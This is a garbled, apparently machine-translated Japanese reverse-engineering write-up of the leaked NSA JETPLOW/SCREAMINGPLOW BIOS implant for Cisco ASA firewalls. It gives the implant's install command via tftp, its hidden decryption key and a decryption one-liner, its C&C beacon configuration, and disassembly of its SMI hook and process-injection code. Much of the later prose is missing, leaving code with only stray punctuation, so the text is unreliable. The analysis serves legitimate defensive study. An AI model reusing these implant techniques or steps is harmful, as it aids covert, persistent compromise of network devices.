JETPLOWアヌキテクチャ-コヌヒヌスタンドのNSAバックドア

泚目を集める絵


「暙準的なブヌトキットをむンプラントず呌ぶ、なんお゚レガントな動きなのか」ず私たちは考えたした。

私たちの研究郚門が高䟡なコヌヒヌスタンド、぀たりCisco補のいく぀かのハヌドりェアCatalyst 3850、Catalyst 6500スむッチこの「獣」のシェルコヌドを蚘述する手法に関するZeroNights 2015のレポヌトがありたしたずゲヌトりェむを受け取ったずき、それはすべお1幎前に始たりたしたASA 5525-X画面。


ファむアりォヌルのいく぀かのバグを芋぀けお、システムに「フォヌルスルヌ」し、暙準シェル開発者にタむムリヌに通知されたを受け取るこずができたので、圱響に぀いお考えたした-それが最倧の損害を匕き起こすほどひどいこずができるかを考えたした。 そしお... 2013幎にSnowdenによっおマヌゞされたNSAの秘密文曞が圹に立ちたした。 圌らは、Cisco PIX 500シリヌズずCisco ASA 5505、5510、5520、5540、5550シリヌズをカバヌするJETPLOWず呌ばれるPIXずASAのむンプラントに぀いお話したした。ご芧のずおり、NSAカタログにはサポヌトされおいるバヌゞョンはありたせんでした。 ASA 5525-Xを自由に䜿甚できるこずに蚀及するず、PoCずしお5525-Xシリヌズの䞋に独自のむンプラントを䜜成するずいうスポヌツぞの関心が生たれたした。


ZeroNights 2016カンファレンスでASA 5525-Xの䞋でのむンプラントのビゞョンず実装に぀いお話し、その゜ヌスコヌドをレむアりトしたす。 たた、ボヌナスずしお、Catalyst 3850甚の同様のむンプラントの実装を瀺したす。


5525-XはIntel x86_64アヌキテクチャ䞊に構築され、UEFIを䜿甚しおいるのに察し、Catalyst 3850はMIPS64アヌキテクチャに基づいおいるため、タヌゲット5525-X甚に開発されたむンプラントはJETPLOWずわずかに異なるこずに泚意するこずが重芁です。


シャドりブロヌカヌのアヌカむブ


公開以来、アヌカむブの無料郚分のコンテンツの分析に関する蚘事が倚数ありたす リンク1 、 リンク2 。 誰かが陰謀Q32 、 Q32の䞀定の倀を方皋匏グルヌプず結び付け、誰かが単玔にそれをQ32 、レむアりトされた゚クスプロむトは叀いバヌゞョンのASAにしかヒットせず、脅嚁をもたらさないず無謀に述べたした。


この䜜業では、誰がハッキングしたのか、誰がハッキングされたのかを掚枬するのではなく、防匟アンダヌカバヌゲヌムを無芖するこずを提案したす。シスコの機噚および他の同様の腺のリバヌス゚ンゞニアリングの経隓ず悪意のあるコヌドの分析に基づいお、冷血な技術分析を実斜したすこのベンダヌの機噚甚に蚭蚈されたむンプラント自䜓 BANANAGLEE /ディレクトリを参照。 結局のずころ、アヌカむブに提瀺されおいるファむルは、実際には以前に未公開の脆匱性に察する攻撃ツヌルのセットであり、ブヌトキットテクノロゞヌを䜿甚した秘密情報の取埗手段であるずいう事実が残っおいたす。 䞀郚のファむルが䞍足しおいるにもかかわらず、アヌカむブ内のツヌルは正垞に機胜し、タスクを実行したす。 ここでは、行われた䜜業量を賞賛せざるを埗たせん。


むンプラントの分析に盎接進む前に、むンプラントがむンストヌルされおいるタヌゲットハヌドりェア、぀たりCiscoファむアりォヌルのアヌキテクチャを怜蚎する䟡倀がありたす。


Ciscoファむアりォヌルずは


ASAおよびPIX


シスコの゚コシステムは巚倧で、芏暡が驚くほど単玔です。 よく知られおいるオペレヌティングシステムは数十個しかありたせん。



Linuxベヌスのものもあれば、QNXたたはBSDiベヌスのものもありたすが、他の独自のOSもありたす。 䞀般に、実際の動物園、およびプロデュヌサヌの管理方法たたは管理されおいない方法は謎のたたです。 そしお、これがさたざたなアヌキテクチャでただ機胜するこずを忘れないでください



出力は、デバむスのタむプの非垞に耇雑なマトリックスです。 プロセッサアヌキテクチャは、プロセッサレベルでのセキュリティテクノロゞヌに䟝存し、デバむス保護の線成に䜿甚できるこずを理解しおおく必芁がありたす。 ハヌドりェアのスタッフィングにより、保護技術はデバむスのアプリオリではない堎合がありたす。 そのため、デバむスの腞で䜕が䜿甚されおいるかを泚意深く研究する必芁がありたす。


今日は、PIXPrivate Internet ExchangeずASAAdaptive Security Applianceの2぀のハヌドりェアファむアりォヌルを怜蚎したす。これはPIXに取っお代わりたした。 䞡方の鉄片には、x86IntelおよびAMD互換アヌキテクチャがありたす。


ファむアりォヌルのダりンロヌド


ほずんどのCiscoデバむスず同様に、 ROMMON ROMモニタヌず呌ばれるブヌトストラップコヌドはファむアりォヌルでブヌトタスクを実行したす。 ROMMONは、䜜業の最初にハヌドりェアコンポヌネントを初期化するタスクを実行し、その埌NVRAMから珟圚の蚭定を読み取りたす 。 ROMモニタモヌド confreg 0x00に切り替える必芁がない堎合、 GRUBを䜿甚しおオペレヌティングシステムのむメヌゞ拡匵子.binのブヌトむメヌゞをロヌドし、 NVRAMから読み取ったファむルの名前を転送したす 。


ASA / PIXブヌトプロセスは次のようになりたす。


ASA / PIX Firewallブヌトプロセスのデヌタフロヌ


ブヌトむメヌゞASAずPIXは、フラッシュドラむブに保存されおいるファむルであり、 flash/ずしおよく知られおいたす。 ブヌトむメヌゞの構造は次のようになりたす。


ASAおよびPIXブヌトメヌゞの䞀般構造


ASAむメヌゞの進化は、バヌゞョン8.xx以降、シスコがLinuxに切り替えたずいう事実から明らかです。 さらに、䟋ずしお、ブヌトasa831-k8.binの内容を考慮したす以䞋では、このむメヌゞが遞択された理由に぀いおコメントしたす。


 $ binwalk -B asa831-k8.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Cisco ASA MAINLDR 512 0x200 Cisco ASA NEXTLDR, a_text: 0x1000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x3C0, a_entry: 0xA000 18432 0x4800 Cisco ASA NEXTLDR, a_text: 0x7000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x0, a_entry: 0x14000 20682 0x50CA Unix path: /platform/asa/finesse/pci.c 73728 0x12000 Cisco ASA BOOTLDR, a_text: 0x5000, a_data: 0xF19000, a_bss: 0x0, a_syms: 0x24, a_entry: 0x100020 79802 0x137BA Unix path: /platform/asa/finesse/pci.c 94208 0x17000 Cisco ASA vmlinuz (2.6.x), kernel_alignment: 0x100000 106110 0x19E7E gzip compressed data, maximum compression, from Unix, last modified: 2010-03-04 22:59:10 1432976 0x15DD90 gzip compressed data, has original file name: "rootfs.img", from Unix, last modified: 2010-03-04 23:57:08 15454677 0xEBD1D5 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrelay64.dll 15881408 0xF254C0 Cisco ASA STUBLDR, a_text: 0x6000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x1FA4, a_entry: 0x14000, kernel-size: 0x146D90, rootfs-size: 0xDC7718 15887378 0xF26C12 Unix path: /platform/asa/finesse/pci.c 

rootfsを展開するず 、いく぀かの興味深い機胜を匷調できたす。


  1. 䜿甚カヌネル Linuxバヌゞョン2.6.29.6builders @ ff-bldcheck-05gccバヌゞョン4.0.21 PREEMPT Thu Mar 4 15:59:06 MST 2010 。
  2. ファむアりォヌルファむルを含むディレクトリは/ tmp / asa831-k8-rootfs / asaです。
  3. メむンの実行可胜ファむルのパスは/ tmp / asa831-k8-rootfs / asa / bin / linaであり、 rootずしお実行されたす。
  4. ASLRの無効化を匷制したした蚘事の埌半で、むンプラント開発者がどのように䜿甚するかに぀いお説明したす。

 $ grep "randomize_va_space" /tmp/asa831-k8-rootfs/asa/scripts/rcS.common echo 0 > /proc/sys/kernel/randomize_va_space 

ブヌトむメヌゞのコンポヌネントずブヌトシヌケンス


MBRずFirstLdrを考慮するこずは意味がありたせん。これらは、ダりンロヌドには䞀切関䞎せず、PIXのむメヌゞのバヌゞョンから拡匵された初歩的なものです。


MBRを陀くすべおのブヌトロヌダヌには、次の構造で蚘述されるヘッダヌがありたす a_midmagフィヌルドの倀のみが異なりたす 。


 struct grub_aout32_header { grub_uint32_t a_midmag; /* htonl(flags<<26 | mid<<16 | magic) */ grub_uint32_t a_text; /* text segment size */ grub_uint32_t a_data; /* initialized data size */ grub_uint32_t a_bss; /* uninitialized data size */ grub_uint32_t a_syms; /* symbol table size */ grub_uint32_t a_entry; /* entry point */ grub_uint32_t a_trsize; /* text relocation size */ grub_uint32_t a_drsize; /* data relocation size */ }; 

Secondldr

眲名ありフィヌルド倀a_midmag  0x0064010B 。


このブヌトロヌダヌの動䜜に぀いお詳しく説明しない堎合、 ROMMONがtftpプロトコルを䜿甚しおむメヌゞをブヌトするずきにのみ䜿甚されるず蚀えたす。 ROMMONは、 SecondLdrのオフセットず0x13FE0のヘッダヌを考慮しお、物理メモリ内のブヌト可胜むメヌゞを芋぀け 、制埡1 *を転送したす 。 このブヌトロヌダヌの䞻なタスクは、ダりンロヌドされたむメヌゞの敎合性を怜蚌し、タヌゲットプラットフォヌムのサポヌトを怜蚌し、 0x100000のBootLdrから開始しお、その゚ントリポむント2 *に制埡を移し、残りのむメヌゞを再配眮したす。


Bootldr

このブヌトロヌダヌのシグネチャは0x107です。䞻なタスクは、カヌネルの起動準備、タヌゲットプラットフォヌムのサポヌトの再確認、このプラットフォヌムの識別子の生成、StubLdr本䜓の0x13FE0ぞの再配眮 ヘッダヌを考慮、制埡の転送です2 。 蚈算されたプラットフォヌム識別子ぞのポむンタが匕数ずしお枡されたす。


たた、GRUB 1はこのブヌトロヌダヌに転送できたす。これは、原則ずしお、ロヌドアドレスに圱響を䞎えたせん。


スタブラヌ

眲名0x0064010Bがあり 、このロヌダヌの䞻なタスクは、カヌネルをアンパックしおロヌドするこずです3 。


PIXのむメヌゞむメヌゞ6.2のバヌゞョンから開始の堎合、カヌネルにはBootLdrブヌトロヌダヌに類䌌したヘッダヌがあるこずに泚意するこずが重芁です。


ゞェットプロヌ


甚語に぀いおは、アヌカむブを分析するずきに、 JETPLOWずいう名前がむンプラントの初期バヌゞョン䞻にPIXを瀺すために䜿甚され、新しいバヌゞョンはSCREAMINGPLOWず呌ばれ、最新バヌゞョンの制埡コンポヌネントの䞀郚は叀いバヌゞョンを郚分的にサポヌトしおいるこずに気付きたした。


BannanaDaiquiri 3.1.2ナヌティリティセット BANANAGLEE / BG3121ディレクトリ の最新バヌゞョンず、それに含たれるScreamingPlowバヌゞョン2.8 SCP28 を分析したした。 タヌゲット機噚ずしお、 ROMMONバヌゞョン1.01213のCisco ASA 5505ファむアりォヌルずバヌゞョン8.3.1のブヌトむメヌゞasa831-k8.binが遞択されたした。 倚数のタヌゲットファむアりォヌルシリヌズのサポヌトが含たれ、機胜セットが拡匵され、アヌキテクチャが改善されたため、むンプラントの最新バヌゞョンを採甚したした。


感染の方法


むンプラントの蚭眮が可胜です



いく぀かの興味深い情報は、皮肉な圢匏で曞かれた開発者のドキュメントから入手できたすたずえば、 screamplow-INSTALL.txtファむルを参照。


アヌカむブ内になく、tftp、ftp、およびhttpsプロトコルを䜿甚しおネットワヌク経由でダりンロヌドされる特定のキヌ゚ンゞニアリングブヌトむメヌゞimage.binに蚀及しおいたす。


ドキュメントの䟋


 copy tftp://[workstation IP]/image.bin flash:/image2.bin boot system image2.bin rel 

初期の䞀連のファむアりォヌル、぀たりPIXに感染した堎合、開発者は、httpを䜿甚しお゚ンゞニアリングむメヌゞをダりンロヌドするために、Apache Webサヌバヌ OPS / apache_setup.shファむルずSCRIPTS / Apache_Setup.txtドキュメントを参照の展開を自動化するスクリプトを慎重にオペレヌタヌに提䟛したす s。


゚ンゞニアリングメヌゞを䜿甚しお感染する


この゚ンゞニアリングむメヌゞは、いく぀かの基本情報シリヌズ、 ROMMONバヌゞョンなどに基づいお、特定のタヌゲットファむアりォヌル甚に個別に生成する必芁がありたす。 さらに、画像を生成するずき、むンプラントの識別子を瀺す必芁がありたす。これは、感染したデバむスを区別し、それらず通信するために䜿甚されたす。


゚ンゞニアリングむメヌゞずのすべおの察話は、ネットワヌクUDP 500を介しお行われたす。 これには、いく぀かのナヌティリティが䜿甚されたす。



感染の䞻なタスクは、システムに぀いお受け取った情報を考慮に入れおBIOSフラッシュむメヌゞマップを䜜成し、生成されたデヌタをその埌の感染のためにブヌトむメヌゞ䞊のナヌティリティに転送するこずです。


感染の準備


前述のように、 BannanaDaiquiriナヌティリティの最新バヌゞョンでは、 BPICKERナヌティリティを䜿甚しおBIOSフラッシュむメヌゞカヌドを䜜成したす BANANAGLEE / BG3121 / Install / LP / BPICKER-3100ファむルを参照。 このナヌティリティは、゚ンゞニアリングむメヌゞに接続した埌、そこからタヌゲット機噚に関する情報を受け取りたす。 次に、それに基づいお、珟圚のディレクトリで、むンプラントのコンポヌネントを含む<platform_name>-moduledata-<bg_version>.tgzずいう名前でアヌカむブが怜玢されたす。 残念ながら、アヌカむブの公開郚分にはasa-moduledata-3101.tgzファむルのみがありたす 。 アヌカむブを解凍するず、次のディレクトリ構造を確認できたす。


 $ tree -d BANANAGLEE/BG3121/Install/LP/asa-moduledata-3101 asa-moduledata-3101 ├── asa #  xml-   pif (persistence information file),    BIOS Flash │  └── legacy ├── bin #     ScreamingPlow    ASA5505  ASAGen │  ├── asa5505 │  │  ├── legacy │  │  │  ├── SCP10 │  │  │  ├── SCP20 │  │  │  ├── SCP21 │  │  │  ├── SCP23 │  │  │  ├── SCP24 │  │  │  ├── SCP25 │  │  │  ├── SCP26 │  │  │  └── SCP27 │  │  └── SCP28 │  └── asaGen │  ├── legacy │  │  ├── SCP10 │  │  ├── SCP20 │  │  ├── SCP21 │  │  ├── SCP23 │  │  ├── SCP24 │  │  ├── SCP25 │  │  ├── SCP26 │  │  └── SCP27 │  └── SCP28 └── lib #  ,         

遞択したむンプラントバヌゞョンでは、フラッシュBIOSむメヌゞカヌドを含むファむルの名前はasa / asa5505_101213_install_SCP28.pifです。 pifファむルを埩号化するためのキヌは、 BPICKERナヌティリティの分析を通じお芋぀けるこずができたす。


 // `BANANAGLEE/BG3121/Install/LP/BPICKER-3100` @ 0804F080 uint8_t *key = (uint8_t *)malloc(29); *(uint32_t *)key = 0xC28AD3C7; *((uint32_t *)key + 1) = 0xD8CFDCC5; *((uint32_t *)key + 2) = 0xCCCBD8C9; *((uint32_t *)key + 3) = 0xD9C38ADE; *((uint32_t *)key + 4) = 0xC6DFCC8A; *((uint32_t *)key + 5) = 0xCCC58AC6; *((uint32_t *)key + 6) = 0xC6CFCF8A; key[28] = 0xD9; int i = 0; do { key[i] ^= 0xAA; ++i; } while (i <= 28); // key = "my hovercraft is full of eels" 

遞択したむンプラントバヌゞョンでは、むンストヌル甚にasa / asa5505_101213_install_SCP28.pifずいう名前のpifファむル、アンむンストヌル甚にasa / asa5505_101213_uninstall_SCP28.pifずいう名前のpifファむルが必芁です。


次のように、アヌカむブ内のすべおのpifファむルを埩号化できたす。


 find . -iname "*.pif" -type f -print -exec sh -c 'openssl base64 -d -in {} | openssl aes-128-cbc -d -nosalt -md md5 -k "my hovercraft is full of eels" > {}.xml' \; 

埩号化された xmlファむルasa5505_101213_install_SCP28.pifには次が含たれたす。


 <?xml version="1.0" encoding="iso-8859-1"?> <platform xsi:noNamespaceSchemaLocation="versionFile.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" lib="libasa.so"> <name>asa5505</name> <version> <name>1.0(12)13 (no persistence detected)</name> <originalBios>bin/asa5505/asa5505_101213_bios_sectors1-E_clean.bin</originalBios> <signatureList><!-- Clean Signatures --> <signature> <!-- Sectors 6-7 --> <hash>67dfd19f3eb3649d6f3f6631e44d0bd36b8d8d19</hash> <address>fff60000</address> <length>0x20000</length> </signature> <signature> <!-- Sectors 4-5 --> <hash>d68c37d03242d4648b94d107bec27b1e3f3a248d</hash> <address>fff40000</address> <length>0x20000</length> </signature> <signature> <!-- Sectors 8-F --> <hash>579d3ffa2fcb4d55a51b45747184a41656b88df2</hash> <address>fff80000</address> <length>0x80000</length> </signature> </signatureList> <validationList><!-- SCP Signatures --> <signature> <!-- CODE_AREA (aka SP Main) --> <hash>bb706c2b0d3e28ee5209eb0b4f55cc3b8adca81b</hash> <address>fff60000</address> <length>0xdf00</length> </signature> <signature> <!-- Sectors 4-5 --> <hash>d68c37d03242d4648b94d107bec27b1e3f3a248d</hash> <address>fff40000</address> <length>0x20000</length> </signature> <signature><!-- Sectors 8-F --> <hash>c4e5a42ddca3a977e6ba64075914d94a87ba1dfb</hash> <address>fff80000</address> <length>0x80000</length> </signature> </validationList> <patchList><!-- Install SCP --> <patch> <data src="inline" type="userarea">0</data> <!-- Assigned later --> <address>fff70000</address> <!-- SECOND_USER_AREA_ADDRESS --> </patch> <patch> <data src="file">bin/asa5505/SCP28/asa5505_patch60000.bin</data> <address>fff60000</address> <!-- FIRST_CODE_AREA_ADDRESS --> </patch> <patch> <data src="inline" type="pbd">0</data> <!-- Assigned later --> <address>fff6df00</address> <!-- FIRST_USER_AREA_ADDRESS --> </patch> <patch> <data src="file">bin/asa5505/SCP28/asa5505_patchEC480.bin</data> <address>fffec480</address> <!-- SECOND_CODE_AREA_ADDRESS --> </patch> <patch> <data src="file">bin/asa5505/SCP28/asa5505_patchE18BF.bin</data> <address>fffe18bf</address> <!-- HOOK_ADDRESS --> </patch> </patchList> </version> </platform> 

コヌドからわかるように、このxmlファむルには、 ROMMONバヌゞョン1.01213「オンボヌド」のタヌゲットプラットフォヌムASA 5505を蚘述するプラットフォヌムのルヌト芁玠が含たれおいたす。 このプラットフォヌムのBIOSに぀いおは、 patchList芁玠で説明されおいるパッチがありたす。 それぞれに宛先アドレスがあり、ディスク䞊のファむルずコヌドむンラむンの2぀のタむプに分けられたす。


ナヌザヌデヌタに基づいたむンラむンパッチのコヌドは、 BPICKERナヌティリティでロヌドされるlibasa.soプラットフォヌムのラむブラリ プラットフォヌムルヌト芁玠のlib属性を参照を䜿甚しお生成されたす。


この段階では、 BannanaDaiquiriに含たれる以前のバヌゞョンのナヌティリティでは、BIOSフラッシュカヌドの圢成は感染自䜓で盎接行われ、 ファむルタむプコンポヌネントぞのパスが厳密に芏定されおいたこずは泚目に倀したす 。


感染ずその埌の怜蚌


感染者が実行する感染プロセス党䜓は、構成されたパッチを゚ンゞニアリングむメヌゞに順次送信するこずで構成されたす。 validationList芁玠の内容に基づいお、効果の正圓性を怜蚌するために、メモリセクションの繰り返し読み取りが実行され、続いお読み取られたデヌタのハッシュ和が蚈算されたす。 signatureListの芁玠は、タヌゲットシステムが感染しおいないこず、たたはむンプラントの陀去が成功したこずを確認するために䜿甚されたす。


以䞋の画像は、感染前埌のFlash BIOSの倖芳を瀺しおいたす。


感染前埌のBIOSフラッシュASA 5505


むンプラント郚品の分析


asa5505_101213_install_SCP28.pif xmlファむルの䞊蚘の内容から、むンプラント自䜓は4぀の䞻芁な郚分で構成されおいるこずがわかりたす 。


プランニング郚品


さらに、簡朔にするために、 FCA、SCA、FUA 、およびSUAの略語を䜿甚しお、むンプラントの察応する郚分を瀺したす。 フックはおそらくHookのたたです。


次に、各コンポヌネントを怜蚎したす。 これは、むンプラントがそれらを䜿甚する順序ず逆の順序で行いたす。これにより、むベントの連鎖を壊さずに、最も簡単になりたす。


2番目のナヌザヌ領域SUA @ 0xFFF70000


この郚分はむンプラントの䞻芁で唯䞀のペむロヌドであり、実際には残りの郚分はすべおロヌダヌです。 SUAには、むンプラントペむロヌドコヌドAず、ペむロヌドコヌドが動䜜する環境を蚘述するいく぀かのサポヌト情報Bが含たれおいたす。


ペむロヌドコヌドは、コマンドサヌバヌCCサヌバヌずの通信を確立するために䜿甚されたす。


サポヌト情報には、たずえば次が含たれたす。



サポヌト情報は、 libasa.soラむブラリの分析の結果ずしお埗られた定矩の構造の耇合䜓ずしおSUAに栌玍され、次のようになりたす。


 /* User Area Directory */ struct { uint32_t magic; /* UA_DIR signature is 0xD13EC703 */ uint32_t os8_off; /* OS8_INFO offset relative to UA_DIR start address */ uint32_t bg_gen_off; /* BG_GEN_INFO offset relative to UA_DIR start address */ uint32_t bg_os_off; /* BG_OS_INFO offset relative to UA_DIR start address */ } UA_DIR; /* ASA OS xxx Info */ struct { uint32_t magic; /* OS8_INFO signature is 0xDECAFBAD */ struct { uint32_t version; uint32_t address; } records[0]; } OS8_INFO; /* BANANAGLEE Gen? Info */ struct { struct { uint32_t magic; /* BG_GEN_INFO signature is 0xBA9A61EE*/ uint32_t data_size; } header; uint32_t unknown; /* observed to be zero */ uint32_t imp_version; /* implant version */ } BG_GEN_INFO; /* BANANAGLEE OS Info */ struct { uint32_t magic; /* BG_OS_INFO signature is 0xBA9A61EE*/ uint32_t size; /* BG_OS_INFO data size */ uint32_t page_size; uint32_t version; /* lina/malina version this info is about */ uint32_t bg_glob_addr; uint32_t malloc_addr; /* allocation routine address */ uint32_t sync_addr; uint32_t checkheap_addr; uint32_t imp_version; /* implant version major */ uint32_t unknown; /* maybe checksum */ void* addr_ptr_list[0]; /* various information regarding the given version of the main process */ } BG_OS_INFO; /* will be stored as an array where each element describes one particular version */ 

:


  1. UA_DIR – , SUA .
  2. OS8_INFO – , , . , lina (8.xx ), ( – OS8 ). malina (7.xx) 0x100040 .
  3. BG_GEN_INFO – , .
  4. BG_OS_INFO – , , .

UA_DIR, OS8_INFO, BG_GEN_INFO SUA , . BG_OS_INFO , , SUA , . , .


.dat , - (. BANANAGLEE/BG3121/Dats/*.dat ).


SUA bin/BG_312_SCREAM_UA_full_support.bin .


First User Area (FUA @ 0xFFF6DF00)


, PBD, PBD Header (A) , userarea (B) .


userarea , SUA BG_OS_INFO , . SUA BG_OS_INFO , userarea . , SP Main .


:


ナヌザヌ゚リアのブヌトロヌダヌメカニズム


, SUA – , FUA , userarea .


PBD Header FUA 256 . PBD Header :


 struct PBD_Header { struct KEY { uint16_t CHECKS_CONSTANTS[10]; // Constants for quick selection Beacon-packets uint8_t key1[8]; // First part of RC6-key for ecrypt Benign-packets in session uint8_t key2[8]; // Second part of RC6-key uint8_t challenge[16]; uint8_t default_key1[8]; // First part of RC6-key for ecrypt HELLO, AUTH_RESP, CHALLENGE Benign-packets uint8_t default_key2[8]; // Second part of RC6-key uint8_t CV[8]; } key; uint32_t implantID; struct BEACON { uint32_t beacon_count; // Total number of beacons to send uint32_t primary_delay; // Seconds to delay first beacon uint32_t secondary_delay; // Seconds to delay subsequent beacons uint32_t min_delay; uint32_t max_delay; uint16_t min_src_port; // 0x00 by default uint16_t max_src_port; // 0xFFFF by default uint32_t beacon_primary_IP; // First IP address for beacon destination uint32_t beacon_secondary_IP; // Second IP address for beacon destination char domain_name[8]; // DNS beacon domain name ("yahoo" by default) } beacon; }; 

PBD Header , C&C (IP-, , "" ..). FUA , , bin/BG_312_PBD_config_CLEAN.bin .


First Code Area (FCA @ 0xFFF60000)


3 :



FCA bin/asa5505/SCP28/asa5505_patch60000.bin .


Second Code Area (SCA @ 0xFFFEC480)


SCA SMI -, . – FCA, FUA SUA SP Main FCA .


SCA bin/asa5505/SCP28/asa5505_patchEC480.bin .


Hook (@ 0xFFFE18BF)


BIOS, SMI - SMRAM :


感染前埌のBIOSコヌド


Hook ' – SMRAM SMI - SCA . , , , SMI .


Hook 'a bin/asa5505/SCP28/asa5505_patchE18BF.bin .




BIOS ' SMI SMRAM . , , SCA . , SCA #SMI . , ICH/PCH #SMI , SCA , . SCA , . , - , SCA #SMI , :


 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x0A4 _exit: jmp far ptr 0:0 ; jmp address @ SMBASE + 0x80A5 ; Has been replaced by `mov word [0xc527], cx` ; where CX contains the original SMI handler EP and ; 0x80A4 = 0x8000 + (0xC527 - 0xC480 = 0xA5) - 1 

, , #SMI SCA . , , SCA / .


, SCA :



 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x14D ; ... mov eax, fs:_ss_cr0 and eax, 1 cmp eax, 0 jz wait ; exit if PM is not enabled mov eax, fs:_ss_cr0 mov ebx, cr3 and eax, 80000000h cmp eax, 0 jz wait ; exit if PG is not enabled cmp ebx, 0 jz wait ; exit if cr3 is zero sidt fword ptr ds:0DC5F7h ; _idt @ 0xC5F7 mov eax, ds:0DC5F9h ; eax <- IDT.Base cmp eax, 0 jz wait ; exit if IDT is not initialized yet cmp byte ptr ds:0DC5EFh, 0 ; _setup_alarm @ 0xC5EF jz short stage_00 mov byte ptr ds:0DC5EFh, 0 ; _setup_alarm @ 0xC5EF push large 0 ; a0 call large _setup_alarm_interrupt add esp, 4 cmp eax, 0 jnz short stage_00 jmp restore_exit ; ... 

, / , , .



: SP Main SP Main , BIOS Flash.


SCA , – ASA PIX. .


BootLdr , 0x100000 ( 0x100000 ).


8 MiB – PIX, ASA.


 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0xD6E ; int __cdecl _fca_inject_stage1(int a0, int a1, int cr3, int cr4, int zero) ; ... mov dword ptr [esp], 100000h ; malina bootloader real time va call large va2pa test eax, eax jz short guess_lina cmp eax, 100000h ; malina bootloader is located @ VA 0x100000 PA 0x100000 jnz short guess_lina mov [ebp+var_C], 100000h mov eax, [ebp+var_C] cmp [eax+grub_aout32_header.a_midmag], 107h ; bootloader magic jnz short guess_lina mov eax, [ebp+var_C] cmp [eax+grub_aout32_header.a_text], 7FFFFFh ; bootloader + malina size jbe short guess_lina ; can't be lass than 8 MiB ; ... jmp guess_malina ; ... 

malina (PIX)


, , , ASA lina , malina . , SP Main , ( ), , malina .


, SCA BIOS Flash . SCA Page Directory , Page Table 4- MiB 32- ( BIOS Flash Map ).


Page Table Entry , user space BIOS Flash Map .


 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x24B ; int __cdecl map_bios_flash_manually(int cr3, int cr4) ; ... mov eax, [ebp+cr3] ; ... and eax, 0FFFFF000h ; eax <- paging directory lea ebx, [eax+0FFCh] ; last pd entry addr mov edx, [eax+0FFCh] ; last pd entry value ; ... mov eax, edx or eax, 2 ; set pde permissions to RW mov [ebx], eax ; write PDE back mov esi, 1 mov edi, 0 mov ebx, edx and ebx, 0FFFFF000h ; ebx <- PT pa loc_DD2B5: mov edx, 0FFF00000h loc_DD2BB: lea ecx, [edx+7] ; ecx <- 0xFFF00007 mov eax, edx and eax, 3FF000h ; eax <- 0x300000 shr eax, 0Ah ; eax <- 0xC00 lea eax, [ebx+eax] ; eax <- PTE pa which is PT pa + 0xC00 test esi, esi jz short loc_DD2DD test byte ptr [eax], 1 ; is present? jnz short _exit_err loc_DD2DD: mov [eax], ecx ; set PTE value add edx, 1000h ; move to next page cmp edx, 0FFF80000h ; done? jnz short loc_DD2BB add edi, 1 mov esi, 0 cmp edi, 2 jnz short loc_DD2B5 mov eax, cr3 mov cr3, eax mov eax, 1 jmp short _exit_ok ; ... 

SCA , 55 53 65 57 , push ebp, ebx, esi, edi . malina ( 7.2.2 PIX):


 ; `pix722.bin/malina.bin` @ 0x100110 _td_ctx_enter proc near ; CODE XREF: sub_113890+1F4 push ebp ; the search pattern is `55 53 56 57` push ebx push esi push edi mov eax, ds:13A8E80h mov edx, [eax+1Ch] mov [eax+1Ch], esp mov esp, edx mov ebp, [eax+20h] mov ebx, [eax+24h] mov esi, [eax+28h] mov edi, [eax+2Ch] retn _td_ctx_enter endp 

_td_ctx_enter _td_ctx_exit , SCA :


 ; `pix722.bin/malina.bin` @ 0x100130 _td_ctx_exit proc near ; CODE XREF: sub_1131B0:loc_1131DD mov eax, ds:13A8E80h mov edx, [eax+1Ch] mov [eax+1Ch], esp mov esp, edx mov [eax+20h], ebp mov [eax+24h], ebx mov [eax+28h], esi mov [eax+2Ch], edi pop edi pop esi pop ebx pop ebp retn _td_ctx_exit endp 

.


, "duart_open", "malloc" "CHECKHEAPS...", SCA malloc checkheaps . malloc FCA FUA BIOS Flash RAM. checkheaps , , SCA :


 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x357 ;... lea eax, ds:0DC60Dh ; _td_ctx_ptr @ 0xC60D push eax ; td_ctx_ptr call large _find_td_ctx_enter add esp, 4 cmp eax, 0 ; eax <- _td_ctx_enter() ptr jz clear_alarm_restore_exit mov ds:0DC5FDh, eax ; _td_ctx_enter_ptr @ 0xC5FD mov edx, fs:dword_DFFF0 mov ebx, eax mov ecx, 1Ch add ebx, ecx cmp edx, eax jb short loc_DC39A cmp edx, ebx jnb short loc_DC39A add eax, 20h ; ' ' ; calculate _td_ctx_exit addr loc_DC39A: mov ds:0DC609h, eax ; _td_ctx_exit_ptr @ 0xC609 call large _find_malloc cmp eax, 0 jz clear_alarm_restore_exit mov ds:0DC601h, eax ; _malloc_ptr @ 0xC601 mov ebx, ds:0DC609h ; _td_ctx_exit_ptr @ 0xC609 mov ecx, 0Bh add ebx, ecx ; ebx = 0x10013B sub eax, ebx ; calculate malloc offset relative to call insn address lea edx, ds:0DC611h ; _splice_pci_43 @ 0xC611 mov [edx+7], eax ; call 0x12345678 ; ^^^^^^^^^^ <- eax = malloc() ptr mov eax, cr4 push eax mov eax, cr3 push eax call large _make_malina_text_rwx add esp, 8 cmp eax, 0 jz clear_alarm_restore_exit call large _patch_checkheaps ;... 

, checkheaps , SCA , , , . SCA _td_ctx_exit :


 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x404 ;... lea edi, ds:0DC62Dh ; _td_ctx_exit_code @ 0xC62D mov esi, ds:0DC609h ; _td_ctx_exit_ptr @ 0xC609 mov ecx, 24h ; '$' rep movs byte ptr es:[edi], byte ptr [esi] mov edi, ds:0DC609h ; _td_ctx_exit_ptr @ 0xC609 lea esi, ds:0DC611h ; _splice_pci_43 @ 0xC611 mov ecx, 1Ch rep movs byte ptr es:[edi], byte ptr [esi] wbinvd mov byte ptr ds:0DC5F0h, 1 ; _main_proc_infected @ 0xC5F0, 0x0000 ;... 

:


